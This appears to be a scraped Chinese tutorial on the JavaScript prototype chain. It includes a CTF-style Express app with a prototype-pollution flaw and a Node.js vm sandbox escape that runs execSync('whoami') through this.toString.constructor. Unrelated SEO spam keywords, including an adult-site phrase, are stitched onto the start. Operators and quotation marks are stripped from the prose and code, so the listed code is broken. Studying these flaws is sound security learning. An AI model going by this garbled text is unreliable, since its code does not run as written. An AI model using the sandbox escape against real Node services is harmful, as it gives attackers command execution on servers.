整站seo哪家服务好,桂林视频网站制作,中山网直播,男女做那个暖暖网站目录 一、什么是原型链
1、原型对象
2、prototype属性
3、原型链
1、显示原型
2、隐式原型
3、原型链
4、constructor属性
二、原型链污染重现
实例
Nodejs沙箱逃逸
1、什么是沙箱#xff08;sandbox#xff09;
2、vm模块 一、什么是原型链
1、原型对象
JavaS…目录 一、什么是原型链
1、原型对象
2、prototype属性
3、原型链
1、显示原型
2、隐式原型
3、原型链
4、constructor属性
二、原型链污染重现
实例
Nodejs沙箱逃逸
1、什么是沙箱sandbox
2、vm模块 一、什么是原型链
1、原型对象
JavaScript 中所有的对象都有一个内置属性称为它的 prototype原型。它本身是一个对象故原型对象也会有它自己的原型逐渐构成了原型链。原型链终止于拥有 null 作为其原型的对象上。
注意 指向对象原型的属性并不是 prototype。它的名字不是标准的但实际上所有浏览器都使用 __proto__。访问对象原型的标准方法是 Object.getPrototypeOf()。
而对于原型对象来说它有个constructor属性指向它的构造函数。
2、prototype属性
1、JavaScript 规定每个函数都有一个prototype属性指向一个对象。
2、JavaScript 继承机制的设计思想就是原型对象的所有属性和方法都能被实例对象共享。也就是说如果属性和方法定义在原型上那么所有实例对象就能共享不仅节省了内存还体现了实例对象之间的联系。
3、原型对象的属性不是实例对象自身的属性。只要修改原型对象变动就立刻会体现在所有实例对象上。
4、原型对象的属性不是实例对象自身的属性。只要修改原型对象变动就立刻会体现在所有实例对象上。
5、如果实例对象自身就有某个属性或方法它就不会再去原型对象寻找这个属性或方法。
总的来说原型对象的作用就是定义所有实例对象共享的属性和方法而实例对象可以视作从原型对象衍生出来的子对象。
3、原型链
原型链分为两个类型显示原型和隐式原型
1、显示原型
显示原型就是利用prototype属性查找原型只是这个是函数类型数据的属性。
2、隐式原型
隐式原型是利用__proto__属性查找原型这个属性指向当前对象的构造函数的原型对象这个属性是对象类型数据的属性所以可以在实例对象上面使用
3、原型链
JavaScript 规定所有对象都有自己的原型对象prototype。一方面任何一个对象都可以充当其他对象的原型另一方面由于原型对象也是对象所以它也有自己的原型。因此就会形成一个“原型链”prototype chain对象到原型再到原型的原型…… 如果某个对象查找属性自己和原型对象上都没有那就会继续往原型对象的原型对象上去找这个例子里就是Object.prototype这里就是查找的终点站了在这里找不到就没有更上一层了null里面啥也没有直接返回undefined。
可以看出整个查找过程都是顺着__proto__属性一步一步往上查找形成了像链条一样的结构这个结构就是原型链。所以原型链也叫作隐式原型链。
正是因为这个原因我们在创建对象、数组、函数等等数据的时候都自带一些属性和方法这些属性和方法是在它们的原型上面保存着所以它们自创建起就可以直接使用那些属性和方法。
4、constructor属性
prototype对象拥有一个constructor属性用来指向prototype对象所在的构造函数我们也是通过这条路径来污染原型链的。 1、由于constructor属性定义在prototype对象上面意味着可以被所有实例对象继承。
2、constructor属性的作用是可以得知某个实例对象到底是哪一个构造函数产生的。
3、有了constructor属性就可以从一个实例对象新建另一个实例。
4、constructor属性表示原型对象与构造函数之间的关联关系如果修改了原型对象一般会同时修改constructor属性防止引用的时候报错。
二、原型链污染重现
实例
代码如下
const express require(express)
var hbs require(hbs);
var bodyParser require(body-parser);
const md5 require(md5);
var morganBody require(morgan-body);
const app express();
var user []; //empty for nowvar matrix [];
for (var i 0; i 3; i){matrix[i] [null , null, null];
}function draw(mat) {var count 0;for (var i 0; i 3; i){for (var j 0; j 3; j){if (matrix[i][j] ! null){count 1;}}}return count 9;
}app.use(express.static(public));
app.use(bodyParser.json());
app.set(view engine, html);
morganBody(app);
app.engine(html, require(hbs).__express);app.get(/, (req, res) {for (var i 0; i 3; i){matrix[i] [null , null, null];}res.render(index);
})app.get(/admin, (req, res) { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken req.query.querytoken md5(user.admintoken) req.query.querytoken){res.send(Hey admin your flag is bflag{prototype_pollution_is_very_dangerous}/b);} else {res.status(403).send(Forbidden);}
}
)app.post(/api, (req, res) {var client req.body;var winner null;if (client.row 3 || client.col 3){client.row % 3;client.col % 3;}matrix[client.row][client.col] client.data;for(var i 0; i 3; i){if (matrix[i][0] matrix[i][1] matrix[i][1] matrix[i][2] ){if (matrix[i][0] X) {winner 1;}else if(matrix[i][0] O) {winner 2;}}if (matrix[0][i] matrix[1][i] matrix[1][i] matrix[2][i]){if (matrix[0][i] X) {winner 1;}else if(matrix[0][i] O) {winner 2;}}}if (matrix[0][0] matrix[1][1] matrix[1][1] matrix[2][2] matrix[0][0] X){winner 1;}if (matrix[0][0] matrix[1][1] matrix[1][1] matrix[2][2] matrix[0][0] O){winner 2;} if (matrix[0][2] matrix[1][1] matrix[1][1] matrix[2][0] matrix[2][0] X){winner 1;}if (matrix[0][2] matrix[1][1] matrix[1][1] matrix[2][0] matrix[2][0] O){winner 2;}if (draw(matrix) winner null){res.send(JSON.stringify({winner: 0}))}else if (winner ! null) {res.send(JSON.stringify({winner: winner}))}else {res.send(JSON.stringify({winner: -1}))}})
app.listen(3000, () {console.log(app listening on port 3000!)
})
在此之前我们获得信息必须要满足以下条件
传入的querytoken要和user数组本身的admintoken的MD5值相等且二者都要存在。
if(user.admintoken req.query.querytoken md5(user.admintoken) req.query.querytoken){res.send(Hey admin your flag is bflag{prototype_pollution_is_very_dangerous}/b);} else {res.status(403).send(Forbidden);} 由代码可知全文没有对user.admintokn 进行赋值所以理论上这个值时不存在的但是下面有一句赋值语句
matrix[client.row][client.col] client.data
最终实现如下效果 Nodejs沙箱逃逸
1、什么是沙箱sandbox
在计算机安全性方面沙箱沙盒、sanbox是分离运行程序的安全机制提供一个隔离环境以运行程序。通常情况下在沙箱环境下运行的程序访问计算机资源会受到限制或者禁止资源包括内存、网络访问、主机系统等等。
沙箱通常用于执行不受信任的程序或代码例如用户输入、第三方模块等等。其目的为了减少或者避免软件漏洞对计算机造成破坏的风险.
2、vm模块
vm模块是Node.JS内置的一个模块。理论上不能叫沙箱他只是Node.JS提供给使用者的一个隔离环境。
使用方法很简单我们执行mn这个表达式
const vm require(vm);
const script m n;
const sandbox { m: 1, n: 2 };
const context new vm.createContext(sandbox);
const res vm.runInContext(script, context);
console.log(res)
但这个隔离环境是很容易绕过的。这个环境中上下文里有三个对象 this 指向传给vm.createContext的那个对象 m 等于数字1 n 等于数字2 我们可以使用外部传入的对象比如this来引入当前上下文里没有的模块进而绕过这个隔离环境
以下是vm运行的几个常用函数
vm.createContext([sandbox])在使用前需要先创建一个沙箱对象再将沙箱对象传给该方法如果没有则会生成一个空的沙箱对象v8Chrome中的v8引擎为这个沙箱对象在当前global外再创建一个作用域此时这个沙箱对象就是这个作用域的全局对象沙箱内部无法访问global中的属性。
vm.runInContext(code, contextifiedSandbox[, options])参数为要执行的代码和创建完作用域的沙箱对象代码会在传入的沙箱对象的上下文中执行并且参数的值与沙箱内的参数值相同。
const vm require(vm);
global.a 1;
const sandbox { a: 2 };
vm.createContext(sandbox); // 创建一个上下文隔离对象
vm.runInContext(a*2;, sandbox);console.log(sandbox);
console.log(a);
//输出为
[Running] node f:\nodejs\vmtext.js
{ a: 4 }
1
//上下文中的a在输出中应为2*24但是真正输出结果a仍是1即沙箱内部无法访问到global的属性。以下是一个简单的沙箱逃逸的例子
const inspect require(util).inspect;
const vm require(vm);
const script
(e {const process this.toString.constructor(return process)()return process.mainModule.require(child_process).execSync(whoami).toString()
})()
;
const sandbox {m:1};
const context new vm.createContext(sandbox);
const res vm.runInContext(script, context);
console.log(res)//输出结果为
[Running] node f:\nodejs\vm.js
desktop-028es37\111//与计算机终端使用whoami命令输出结果一致证明逃逸成功计算机最终输出结果
C:\User\1\whoami
desktop-028sw38\1